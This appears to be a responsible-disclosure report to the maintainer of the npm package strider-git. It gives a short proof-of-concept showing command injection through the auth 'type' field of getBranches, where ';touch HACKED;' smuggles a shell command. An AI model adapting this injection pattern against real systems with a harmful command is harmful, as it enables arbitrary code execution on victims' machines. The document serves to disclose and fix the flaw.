Hi @knownasilya :).
I reported the issue originally to the NPM team through their HackerOne program, however I opted to disclose it also through the Huntrs platform in order to make sure the issue would have been addressed quickly ;).

Here are the steps to reproduce the issue:

Steps To Reproduce:

1. Create the following PoC file:

// poc.js
var git = require("strider-git/lib");
git.getBranches({auth:{type:'ssaas;touch HACKED; ', privkey:'sss'}, url:'http://sss'}, '', function(){})

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i strider-git # Install affected module
git init # Initialize as *git* dir
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :)

Regards,
Mik
